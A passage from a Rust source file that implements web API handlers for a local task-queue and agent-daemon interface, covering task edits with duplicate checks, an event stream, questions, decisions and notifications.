7550 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7551) -> ApiResult<Json<TaskView>> {
7552 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7553 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7554}
7555
7556#[derive(Debug, Deserialize)]
7557#[serde(deny_unknown_fields)]
7558struct UrgentBody {
7559 urgent: bool,
7560}
7561
7562async fn queue_urgent(
7563 State(ui): State<Arc<Ui>>,
7564 Path(id): Path<String>,
7565 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7566) -> ApiResult<Json<TaskView>> {
7567 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7568 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7569}
7570
7571#[derive(Debug, Deserialize)]
7573#[serde(deny_unknown_fields)]
7574struct PriorityBody {
7575 priority: i32,
7576}
7577
7578async fn queue_priority(
7584 State(ui): State<Arc<Ui>>,
7585 Path(id): Path<String>,
7586 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7587) -> ApiResult<Json<TaskView>> {
7588 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7589 mutate(ui, id, move |t| t.set_priority(body.priority)).await
7590}
7591
7592#[derive(Debug, Deserialize)]
7594#[serde(deny_unknown_fields)]
7595struct EditBody {
7596 title: String,
7597 instruction: String,
7598 #[serde(default)]
7601 force: bool,
7602}
7603
7604async fn queue_edit(
7608 State(ui): State<Arc<Ui>>,
7609 Path(id): Path<String>,
7610 body: std::result::Result<Json<EditBody>, JsonRejection>,
7611) -> ApiResult<Json<TaskView>> {
7612 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7613 let mut judged: Option<(String, PathBuf)> = None;
7617 if !body.force {
7618 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7619 let (id, text) = (id.clone(), body.instruction.clone());
7620 let (seen, hits) = blocking(move || {
7621 let id = resolve_task(&queue, &id)?;
7622 let t = queue.get(&id)?;
7623 if text == t.instruction {
7624 return Ok((None, Vec::new()));
7625 }
7626 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7627 Ok((Some((t.instruction, t.repo)), hits))
7628 })
7629 .await?;
7630 if let Some((_, repo)) = &seen {
7631 let cfg = crate::config::Config::discover(repo, None)
7632 .ok()
7633 .map(|(c, _)| c);
7634 let screened =
7635 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7636 .await
7637 .map_err(|dup| {
7638 ApiError::conflict(dup.render(
7639 "Nothing was saved. If it is not a duplicate, repeat the request \
7640 with \"force\": true.",
7641 ))
7642 })?;
7643 if let crate::dupes::Screened::Unjudged(why) = screened {
7644 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7645 }
7646 }
7647 judged = seen;
7648 }
7649 let force = body.force;
7650 mutate(ui, id, move |t| {
7651 if !force && body.instruction != t.instruction {
7652 match &judged {
7653 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7654 _ => {
7655 anyhow::bail!("the task changed while it was being checked; repeat the request")
7656 }
7657 }
7658 }
7659 t.edit(body.title.clone(), body.instruction.clone())
7660 })
7661 .await
7662}
7663
7664async fn queue_done(
7672 State(ui): State<Arc<Ui>>,
7673 Path(id): Path<String>,
7674) -> ApiResult<Json<TaskView>> {
7675 let home = ui.home.clone();
7676 mutate(ui, id, move |t| {
7677 t.succeed();
7678 crate::daemon::supersede_prior_runs(t, &home);
7686 Ok(())
7687 })
7688 .await
7689}
7690
7691async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7699 blocking(move || {
7700 let id = resolve_task(&ui.queue, &id)?;
7701 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7702 ui.queue
7703 .remove(&id, in_flight, &ui.questions)
7704 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7705 Ok(StatusCode::NO_CONTENT)
7706 })
7707 .await
7708}
7709
7710async fn mutate(
7719 ui: Arc<Ui>,
7720 id: String,
7721 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7722) -> ApiResult<Json<TaskView>> {
7723 blocking(move || {
7724 let id = resolve_task(&ui.queue, &id)?;
7725 let _claim = ui.queue.claim(&id).map_err(|e| {
7730 ApiError::conflict(format!(
7731 "{e:#} - a daemon is running this task, so it cannot be \
7732 changed from here yet; wait until it is released, then retry"
7733 ))
7734 })?;
7735 let mut task = ui.queue.get(&id)?;
7736 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7737 Ok(dup) => ApiError::conflict(dup.render(
7738 "Nothing was saved. If it is not a duplicate, repeat the request with \
7739 \"force\": true.",
7740 )),
7741 Err(e) => ApiError::bad_request_from(e),
7742 })?;
7743 ui.queue.put(&mut task)?;
7744 Ok(Json(TaskView::from(task)))
7745 })
7746 .await
7747}
7748
7749async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7754 ui.monitor.ensure_worker(&ui);
7755 let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7756 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7757
7758 let state = Arc::clone(&ui);
7759 tokio::spawn(async move {
7760 let initial_revisions = {
7761 let guard = match state.monitor.latest.lock() {
7762 Ok(g) => g,
7763 Err(p) => p.into_inner(),
7764 };
7765 guard.as_ref().map(|(r, _)| *r)
7766 };
7767 if let Some(revisions) = initial_revisions {
7768 let initial_payload = serde_json::json!({
7769 "queue_rev": revisions.0,
7770 "runs_rev": revisions.1,
7771 "questions_rev": revisions.2,
7772 "talks_rev": revisions.3,
7773 "notifications_rev": revisions.4,
7774 "loop_rev": revisions.5,
7775 });
7776
7777 if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7778 if tx.send(event).await.is_err() {
7779 return;
7780 }
7781 }
7782 }
7783
7784 loop {
7785 match tokio::select! {
7786 _ = tx.closed() => return,
7787 value = broadcast_rx.recv() => value,
7788 } {
7789 Ok(notif) => {
7790 let Ok(event) = Event::default().event("change").json_data(notif.payload)
7791 else {
7792 break;
7793 };
7794 if tx.send(event).await.is_err() {
7795 break;
7796 }
7797 }
7798 Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7799 let revs = {
7800 let guard = match state.monitor.latest.lock() {
7801 Ok(g) => g,
7802 Err(p) => p.into_inner(),
7803 };
7804 guard.as_ref().map(|(r, _)| *r)
7805 };
7806 if let Some(revs) = revs {
7807 let payload = serde_json::json!({
7808 "queue_rev": revs.0,
7809 "runs_rev": revs.1,
7810 "questions_rev": revs.2,
7811 "talks_rev": revs.3,
7812 "notifications_rev": revs.4,
7813 "loop_rev": revs.5,
7814 });
7815 if let Ok(event) = Event::default().event("change").json_data(payload) {
7816 if tx.send(event).await.is_err() {
7817 break;
7818 }
7819 }
7820 }
7821 }
7822 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7823 break;
7824 }
7825 }
7826 }
7827 });
7828
7829 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7830 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7831}
7832
7833fn run_ids(runs: &FsPath) -> Vec<String> {
7839 let mut ids: Vec<String> = std::fs::read_dir(runs)
7840 .into_iter()
7841 .flatten()
7842 .flatten()
7843 .filter(|e| e.path().join("run.json").is_file())
7844 .map(|e| e.file_name().to_string_lossy().into_owned())
7845 .collect();
7846 ids.sort_unstable_by(|a, b| b.cmp(a));
7848 ids
7849}
7850
7851fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7853 let path = runs.join(id).join("run.json");
7854 let body =
7855 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7856 let state: RunState =
7857 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7858 run::migrate_schema(state)
7863}
7864
7865#[must_use]
7873pub fn runs_unreadable(runs: &FsPath) -> usize {
7874 run_ids(runs)
7875 .into_iter()
7876 .filter(|id| read_run(runs, id).is_err())
7877 .count()
7878}
7879
7880fn plain_record_id(id: &str) -> bool {
7881 !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7882}
7883
7884fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7886 if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7887 return Ok(id.to_owned());
7888 }
7889 pick(run_ids(runs), id, "run")
7890}
7891
7892fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7894 if plain_record_id(id) && queue.path_of(id).is_file() {
7895 return Ok(id.to_owned());
7896 }
7897 let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7898 pick(ids, id, "task")
7899}
7900
7901#[derive(Debug, Serialize)]
7912struct QuestionView {
7913 can_answer: bool,
7914 history_only: bool,
7916 choice_effects: std::collections::BTreeMap<String, String>,
7917 record_revision: String,
7918 #[serde(flatten)]
7919 question: Question,
7920 detail_md: Vec<md::Node>,
7921 posting_view: Option<PostingView>,
7922 thread_bodies_md: Vec<Vec<md::Node>>,
7924 thread_notes_md: Vec<Option<Vec<md::Node>>>,
7927 waiting_on_agent: bool,
7937 holder: Option<&'static str>,
7941 deputies_enabled: bool,
7945 deputy_exhausted: bool,
7948 text_delivery: crate::question_delivery::Availability,
7949 run_is_task: bool,
7952 origin_chat: Option<String>,
7955 origin_chat_closed: bool,
7957 can_consult_chat: bool,
7959}
7960
7961#[derive(Debug, Serialize)]
7962struct PostingView {
7963 before_md: Vec<md::Node>,
7964 after_md: Vec<md::Node>,
7965 fields: Vec<crate::github_text::ComparisonView>,
7966}
7967
7968fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7969 let comparison = question.posting_comparison.as_ref()?;
7970 if !comparison.matches_detail(&question.detail) {
7971 return None;
7972 }
7973 let mut ids = std::collections::BTreeSet::new();
7974 if comparison.fields.is_empty()
7975 || comparison
7976 .fields
7977 .iter()
7978 .flat_map(|f| &f.pairs)
7979 .any(|p| !ids.insert(p.id))
7980 || comparison
7981 .fields
7982 .iter()
7983 .flat_map(|f| &f.original_triggers)
7984 .any(|t| !ids.insert(t.id))
7985 {
7986 return None;
7987 }
7988 let fields = comparison
7989 .fields
7990 .iter()
7991 .map(|f| f.view(comparison.excerpt))
7992 .collect::<Option<Vec<_>>>()?;
7993 Some(PostingView {
7994 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7995 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7996 fields,
7997 })
7998}
7999
8000impl QuestionView {
8001 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
8005 let base = md::ImageBase::QuestionPanel {
8006 id: question.id.clone(),
8007 };
8008 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
8009 Self {
8010 can_answer: question.can_answer(),
8011 history_only: store.held_reply(&question.id),
8012 choice_effects: question
8013 .choices
8014 .iter()
8015 .filter_map(|c| {
8016 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
8017 })
8018 .collect(),
8019 record_revision: question_record_revision(&question),
8020 detail_md: md::to_nodes(&question.detail, &base),
8021 posting_view: posting_view(&question, &base),
8022 thread_bodies_md: question
8023 .thread
8024 .iter()
8025 .map(|t| md::to_nodes(&t.body, &base))
8026 .collect(),
8027 thread_notes_md: question
8028 .thread
8029 .iter()
8030 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
8031 .collect(),
8032 deputy_exhausted: store.deputy_exhausted(&question),
8033 waiting_on_agent: question.waiting_on_agent(),
8034 holder,
8035 deputies_enabled: deputies_enabled(cfg, &question),
8036 text_delivery: crate::question_delivery::availability(store, &question, cfg),
8037 run_is_task: question.run_names_task(),
8038 origin_chat: None,
8039 origin_chat_closed: false,
8040 can_consult_chat: false,
8041 question,
8042 }
8043 }
8044
8045 fn with_origin(
8047 mut self,
8048 tasks: &[crate::queue::Task],
8049 talks: &[Talk],
8050 watches: &[crate::release_watch::WatchState],
8051 ) -> Self {
8052 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
8053 self.can_consult_chat = consult.is_some();
8054 let talk =
8055 crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
8056 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
8057 self.origin_chat = talk.map(|t| t.id);
8058 self
8059 }
8060}
8061
8062fn deputy_config(repo: &std::path::Path) -> Option<Config> {
8066 Config::discover(repo, None).ok().map(|(c, _)| c)
8067}
8068
8069fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
8071 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
8072}
8073
8074fn question_views(
8077 qs: Vec<Question>,
8078 store: &ask::Questions,
8079 load: impl FnOnce() -> Option<Config>,
8080) -> Vec<QuestionView> {
8081 if qs.is_empty() {
8082 return Vec::new();
8083 }
8084 let cfg = load();
8085 qs.into_iter()
8086 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
8087 .collect()
8088}
8089
8090fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
8100 if !q.status.open() {
8101 return None;
8102 }
8103 if q.cwd.is_none()
8104 && q.deputy.is_none()
8105 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
8106 {
8107 return crate::deputy::kind_of(q).map(|_| "nobody");
8108 }
8109 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
8110 Some(_) if q.deputy.is_some() => "deputy",
8111 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8112 Some(_) => "asker",
8113 None => "nobody",
8114 })
8115}
8116
8117#[derive(serde::Serialize)]
8123struct DecisionView {
8124 id: String,
8125 task: String,
8126 run: Option<String>,
8127 chat: Option<String>,
8128 display: String,
8129 delivery_error: Option<String>,
8130 decision: crate::task_decision::Decision,
8131}
8132
8133impl DecisionView {
8134 fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8135 Some(Self {
8136 id: inquiry.id,
8137 task: inquiry.task,
8138 run: inquiry.run,
8139 chat: inquiry.delivered_to,
8140 display: inquiry.display,
8141 delivery_error: inquiry.delivery_error,
8142 decision: inquiry.decision?,
8143 })
8144 }
8145}
8146
8147#[derive(serde::Serialize)]
8148struct DecisionsView {
8149 items: Vec<DecisionView>,
8150 unreadable: usize,
8151 migration_errors: Vec<crate::task_chat::MigrationIssue>,
8152}
8153
8154async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8157 blocking(move || {
8158 let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8159 let mut views: Vec<_> = items
8160 .into_iter()
8161 .filter_map(DecisionView::from_inquiry)
8162 .collect();
8163 views.sort_by_key(|view| {
8164 (
8165 view.decision.status == crate::task_decision::Status::Resolved,
8166 view.id.clone(),
8167 )
8168 });
8169 Ok(Json(DecisionsView {
8170 items: views,
8171 unreadable,
8172 migration_errors: crate::task_chat::migration_issues(&ui.home),
8173 }))
8174 })
8175 .await
8176}
8177
8178async fn decision_get(
8179 State(ui): State<Arc<Ui>>,
8180 Path(id): Path<String>,
8181) -> ApiResult<Json<DecisionView>> {
8182 blocking(move || {
8183 let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8184 DecisionView::from_inquiry(inquiry)
8185 .map(Json)
8186 .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8187 })
8188 .await
8189}
8190
8191async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8192 blocking(move || {
8193 let questions = ui.questions.list();
8194 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8195 Ok(Json(
8196 question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8197 .into_iter()
8198 .map(|view| view.with_origin(&tasks, &talks, &watches))
8199 .collect(),
8200 ))
8201 })
8202 .await
8203}
8204
8205async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8207 blocking(move || {
8208 Ok(Json(question_views(
8209 ui.questions.list(),
8210 &ui.questions,
8211 || deputy_config(&ui.repo),
8212 )))
8213 })
8214 .await
8215}
8216
8217fn question_record_revision(question: &Question) -> String {
8218 use std::hash::{Hash as _, Hasher as _};
8219 let mut hash = std::hash::DefaultHasher::new();
8220 serde_json::to_vec(question)
8221 .expect("serializable question")
8222 .hash(&mut hash);
8223 format!("{:016x}", hash.finish())
8224}
8225
8226#[derive(Serialize)]
8227struct QuestionOriginView {
8228 id: String,
8229 record_revision: String,
8230 origin_chat: Option<String>,
8231 origin_chat_closed: bool,
8232 can_consult_chat: bool,
8233}
8234
8235async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8236 blocking(move || {
8237 let questions = ui.questions.list();
8238 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8239 Ok(Json(
8240 questions
8241 .into_iter()
8242 .map(|question| {
8243 let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8244 let can_consult_chat = consult.is_some();
8245 let talk = crate::consult::associated_talk_with_watches(
8246 &tasks, &talks, &question, &watches,
8247 );
8248 QuestionOriginView {
8249 record_revision: question_record_revision(&question),
8250 id: question.id,
8251 origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8252 origin_chat: talk.map(|talk| talk.id),
8253 can_consult_chat,
8254 }
8255 })
8256 .collect(),
8257 ))
8258 })
8259 .await
8260}
8261
8262type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8263
8264fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8268 fn task_for_run(
8269 ui: &Ui,
8270 index: &mut Option<Vec<Arc<TaskRelation>>>,
8271 run: &str,
8272 loaded: &HashMap<String, Task>,
8273 ) -> ApiResult<Option<Task>> {
8274 if !plain_record_id(run) {
8275 return Ok(None);
8276 }
8277 if index.is_none() {
8278 *index = Some(ui.indexed_tasks()?);
8279 }
8280 Ok(index
8281 .as_ref()
8282 .expect("loaded index")
8283 .iter()
8284 .find(|task| task.runs.iter().any(|id| id == run))
8285 .and_then(|task| {
8286 loaded
8287 .get(&task.id)
8288 .cloned()
8289 .or_else(|| ui.queue.get(&task.id).ok())
8290 })
8291 .filter(|task| task.runs.iter().any(|id| id == run)))
8292 }
8293 let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8294 plain_record_id(id)
8295 .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8296 .flatten()
8297 .filter(|task| task.id == id)
8298 };
8299 let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8300 let mut index = None;
8301 let mut tasks = HashMap::new();
8302 let mut talks = HashMap::new();
8303 for question in questions {
8304 for reference in crate::consult::question_task_refs(question, &watches) {
8305 let mut current = match reference {
8306 crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8307 crate::consult::QuestionTaskRef::Run(id) => {
8308 task_for_run(ui, &mut index, id, &tasks)?
8309 }
8310 };
8311 let mut seen = HashSet::new();
8312 for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8313 let Some(task) = current.take() else {
8314 break;
8315 };
8316 if !seen.insert(task.id.clone()) {
8317 break;
8318 }
8319 let chat = task.chat_talk().map(str::to_owned);
8320 let followup = task.followup.clone();
8321 tasks.insert(task.id.clone(), task);
8322 if let Some(chat) = chat {
8323 if plain_record_id(&chat)
8324 && !talks.contains_key(&chat)
8325 && let Ok(talk) = ui.talks.get(&chat)
8326 {
8327 talks.insert(chat, talk);
8328 }
8329 break;
8330 }
8331 let Some(followup) = followup else {
8332 break;
8333 };
8334 current = match followup.origin_task {
8335 Some(id) => direct_task(&id, &tasks),
8336 None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8337 };
8338 }
8339 }
8340 }
8341 let mut tasks: Vec<Task> = tasks.into_values().collect();
8342 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8343 Ok((tasks, talks.into_values().collect(), watches))
8344}
8345
8346async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8349 blocking(move || {
8350 let items = ui.notices.list();
8351 let unread = items.iter().filter(|n| n.unread()).count();
8352 let items: Vec<_> = items
8353 .into_iter()
8354 .map(|n| {
8355 let question = crate::notices::answerable_question(&n, &ui.questions);
8356 let mut item = serde_json::to_value(n)?;
8357 item["answerable_question"] = serde_json::json!(question);
8358 Ok(item)
8359 })
8360 .collect::<anyhow::Result<_>>()?;
8361 Ok(Json(
8362 serde_json::json!({ "unread": unread, "items": items }),
8363 ))
8364 })
8365 .await
8366}
8367
8368fn notice_error(e: anyhow::Error) -> ApiError {
8369 ApiError::not_found(format!("{e:#}"))
8372}
8373
8374async fn notification_read(
8376 State(ui): State<Arc<Ui>>,
8377 Path(id): Path<String>,
8378) -> ApiResult<Json<Notice>> {
8379 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8380}
8381
8382async fn notification_dismiss(
8384 State(ui): State<Arc<Ui>>,
8385 Path(id): Path<String>,
8386) -> ApiResult<Json<Notice>> {
8387 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8388}
8389
8390async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8392 blocking(move || {
8393 let changed = ui.notices.mark_all_read()?;
8394 Ok(Json(serde_json::json!({ "marked": changed })))
8395 })
8396 .await
8397}
8398
8399#[derive(Debug, Default, Deserialize)]
8405#[serde(default, deny_unknown_fields)]
8406struct NewAnswer {
8407 choice: Option<String>,
8408 text: Option<String>,
8409 talk: Option<String>,
8410 head: Option<String>,
8411}
8412
8413async fn question_answer(
8414 State(ui): State<Arc<Ui>>,
8415 Path(id): Path<String>,
8416 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8417) -> ApiResult<Json<QuestionView>> {
8418 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8419 let answer = match (body.choice, body.text) {
8420 (Some(c), None) => Answer::Choice(c),
8421 (None, Some(t)) => Answer::Text(t),
8422 (Some(_), Some(_)) => {
8423 return Err(ApiError::bad_request(
8424 "send either `choice` or `text`, not both",
8425 ));
8426 }
8427 (None, None) => {
8428 return Err(ApiError::bad_request("send a `choice` or a `text`"));
8429 }
8430 };
8431
8432 blocking(move || {
8433 let id = resolve_question(&ui.questions, &id)?;
8434 let q = ui
8435 .questions
8436 .get(&id)
8437 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8438 if !q.can_answer() {
8439 return Err(ApiError::conflict(format!(
8443 "question {} is already {}",
8444 q.short(),
8445 q.status.as_str()
8446 )));
8447 }
8448 let cfg = deputy_config(&ui.repo);
8452 let (q, ()) = ui
8453 .questions
8454 .update(&q.id, |r| {
8455 let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8456 if r.routed_task.is_some()
8459 && r.merge_target.is_some()
8460 && merge
8461 && (body.talk.is_some() || body.head.is_some())
8462 {
8463 let talk_id = body
8464 .talk
8465 .as_deref()
8466 .context("approval button requires its chat")?;
8467 let head = body
8468 .head
8469 .as_deref()
8470 .context("approval button requires the displayed head")?;
8471 let talk = ui.talks.get(talk_id)?;
8472 anyhow::ensure!(talk.status.open(), "approval chat is closed");
8473 r.answer_chat_button(answer, talk_id, head)
8474 } else {
8475 r.answer(answer)
8476 }
8477 })
8478 .map_err(ApiError::bad_request_from)?;
8479 let (tasks, talks, watches) =
8480 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8481 Ok(Json(
8482 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8483 ))
8484 })
8485 .await
8486}
8487
8488fn question_text_error(e: anyhow::Error) -> ApiError {
8490 let reason = e
8491 .downcast_ref::<crate::question_delivery::TextUnavailable>()
8492 .map(|e| e.reason);
8493 let error = ApiError::bad_request_from(e);
8494 if let Some(reason) = reason {
8495 ApiError {
8496 text_reason: Some(reason),
8497 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8498 }
8499 } else {
8500 error
8501 }
8502}
8503
8504#[derive(Debug, Deserialize)]
8506#[serde(deny_unknown_fields)]
8507struct NewSay {
8508 body: String,
8509}
8510
8511async fn question_say(
8521 State(ui): State<Arc<Ui>>,
8522 Path(id): Path<String>,
8523 body: std::result::Result<Json<NewSay>, JsonRejection>,
8524) -> ApiResult<Json<QuestionView>> {
8525 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8526 blocking(move || {
8527 let id = resolve_question(&ui.questions, &id)?;
8528 let q = ui
8529 .questions
8530 .get(&id)
8531 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8532 if !q.status.open() {
8533 return Err(ApiError::conflict(format!(
8537 "question {} is already {}",
8538 q.short(),
8539 q.status.as_str()
8540 )));
8541 }
8542 let cfg = deputy_config(&ui.repo);
8545 let (q, ()) = ui
8546 .questions
8547 .update(&q.id, |r| {
8548 if body.body.trim().is_empty() {
8549 return r.say(body.body);
8550 }
8551 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8552 r.say(body.body)
8553 })
8554 .map_err(question_text_error)?;
8555 let (tasks, talks, watches) =
8556 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8557 Ok(Json(
8558 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8559 ))
8560 })
8561 .await
8562}
8563
8564async fn admitted<T: Send + 'static>(
8567 admission: AdmissionGuard,
8568 work: impl Future<Output = ApiResult<T>> + Send + 'static,
8569) -> ApiResult<T> {
8570 tokio::spawn(async move {
8571 let result = work.await;
8572 drop(admission);
8573 result
8574 })
8575 .await
8576 .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8577}
8578
8579async fn question_consult(
8588 State(ui): State<Arc<Ui>>,
8589 Path(id): Path<String>,
8590) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8591 let admission = ui.begin_admission()?;
8592 admitted(admission, async move {
8593 let (q, tasks, talks, watches, talk, cfg) = blocking({
8594 let ui = Arc::clone(&ui);
8595 move || {
8596 let id = resolve_question(&ui.questions, &id)?;
8597 let q = ui.questions.get(&id).map_err(|e| {
8598 ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8599 })?;
8600 if !q.status.open() {
8601 return Err(ApiError::conflict(format!(
8602 "question {} is already {}",
8603 q.short(),
8604 q.status.as_str()
8605 )));
8606 }
8607 let (tasks, talks, watches) =
8608 question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8609 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8610 return Err(ApiError::conflict(format!(
8611 "question {} has no chat to ask",
8612 q.short()
8613 )));
8614 };
8615 let cfg = if q.consult.is_none() {
8619 Some(Config::discover(&talk.repo, None)?.0)
8620 } else {
8621 None
8622 };
8623 Ok((q, tasks, talks, watches, talk, cfg))
8624 }
8625 })
8626 .await?;
8627 let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
8628 .await
8629 .map_err(ApiError::from)?;
8630 let (view, reclaimed, submitted) = blocking({
8631 let ui = Arc::clone(&ui);
8632 move || {
8633 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8634 let claim = if fresh {
8635 match ui.begin_queued_talk_turn(&talk.id)? {
8636 Some(turn_guard) => {
8637 let talk = ui.talks.get(&talk.id)?;
8638 let cfg = match cfg {
8639 Some(cfg) => cfg,
8640 None => Config::discover(&talk.repo, None)?.0,
8641 };
8642 Some((talk, cfg, turn_guard))
8643 }
8644 None => None,
8645 }
8646 } else {
8647 None
8648 };
8649 let q = ui.questions.get(&q.id)?;
8650 let cfg = deputy_config(&ui.repo);
8651 let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8652 .with_origin(&tasks, &talks, &watches);
8653 Ok((view, claim, fresh.then_some(talk.id)))
8654 }
8655 })
8656 .await?;
8657 #[cfg(not(test))]
8658 {
8659 if let Some(id) = submitted {
8660 crate::chat_worker::spawn_turn(&ui.talks, &id)
8661 .await
8662 .map_err(ApiError::from)?;
8663 }
8664 drop(reclaimed);
8665 }
8666 #[cfg(test)]
8667 let _ = submitted;
8668 #[cfg(test)]
8669 if let Some((talk, cfg, turn_guard)) = reclaimed {
8670 let talks = ui.talks.clone();
8671 let id = talk.id.clone();
8672 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8673 }
8674 Ok((StatusCode::ACCEPTED, Json(view)))
8675 })
8676 .await
8677}
8678
8679fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8681 if plain_record_id(id) && store.path_of(id).is_file() {
8682 return Ok(id.to_owned());
8683 }
8684 pick(
8685 store.list().into_iter().map(|q| q.id).collect(),
8686 id,
8687 "question",
8688 )
8689}
8690
8691async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8706 blocking(move || {
8707 let id = resolve_question(&ui.questions, &id)?;
8708 let Some(html) = ui.questions.panel_html(&id) else {
8709 return Err(ApiError::not_found(format!("question {id} has no panel")));
8710 };
8711 Ok(panel_response(
8712 "text/html; charset=utf-8",
8713 false,
8714 html.into_bytes(),
8715 ))
8716 })
8717 .await
8718}
8719
8720async fn question_asset(
8748 State(ui): State<Arc<Ui>>,
8749 Path((id, name)): Path<(String, String)>,
8750) -> ApiResult<Response> {
8751 if !crate::ask::valid_asset_name(&name) {
